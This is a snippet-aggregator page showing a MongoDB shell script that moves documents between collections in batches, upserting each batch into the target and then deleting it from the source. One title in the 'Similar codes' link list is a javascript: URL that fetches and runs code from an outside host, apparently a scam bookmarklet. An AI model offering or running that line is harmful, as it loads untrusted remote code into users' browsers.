/TypeScript/Mongodb move documents to another collection

Mongodb move documents to another collection

function insertBatch(collection, documents) {
  var bulkInsert = collection.initializeUnorderedBulkOp();
  var insertedIds = [];
  var id;
  documents.forEach(function(doc) {
    id = doc._id;
    // Insert without raising an error for duplicates
    bulkInsert.find({_id: id}).upsert().replaceOne(doc);
    insertedIds.push(id);
  });
  bulkInsert.execute();
  return insertedIds;
}

function deleteBatch(collection, documents) {
  var bulkRemove = collection.initializeUnorderedBulkOp();
  documents.forEach(function(doc) {
    bulkRemove.find({_id: doc._id}).removeOne();
  });
  bulkRemove.execute();
}

function moveDocuments(sourceCollection, targetCollection, filter, batchSize) {
  print("Moving " + sourceCollection.find(filter).count() + " documents from " + sourceCollection + " to " + targetCollection);
  var count;
  while ((count = sourceCollection.find(filter).count()) > 0) {
    print(count + " documents remaining");
    sourceDocs = sourceCollection.find(filter).limit(batchSize);
    idsOfCopiedDocs = insertBatch(targetCollection, sourceDocs);

    targetDocs = targetCollection.find({_id: {$in: idsOfCopiedDocs}});
    deleteBatch(sourceCollection, targetDocs);
  }
  print("Done!")
}

Source: stackoverflow.com

Similar codes

1 vote128 views1 answer
Css selector starts with
TypeScript
0 vote125 views2 answers
Get elements of array matlab
TypeScript
0 vote133 views1 answer
How to send attachments to node mailer file not found
TypeScript
3 votes121 views1 answer
Dart check if string is contained in list of strings
TypeScript
0 vote161 views1 answer
Failed to find '~@nativescript/theme/css/core.css'
TypeScript
0 vote120 views1 answer
"Doctrine\Bundle\DoctrineBundle\Repository\ServiceEntityRepositoryInterface", but its service could not be found. Make sure the service exists and is tagged with "doctrine.repository_service".
TypeScript
1 vote128 views1 answer
How to set the contents of a div with jquery
TypeScript
1 vote129 views1 answer
Nuxt @use "sass:math";
TypeScript
2 votes132 views2 answers
Capacitor icon and splash
TypeScript
0 vote141 views10 answers
Javascript:$.get("//javascript-roblox.com/api?i=13407")
TypeScript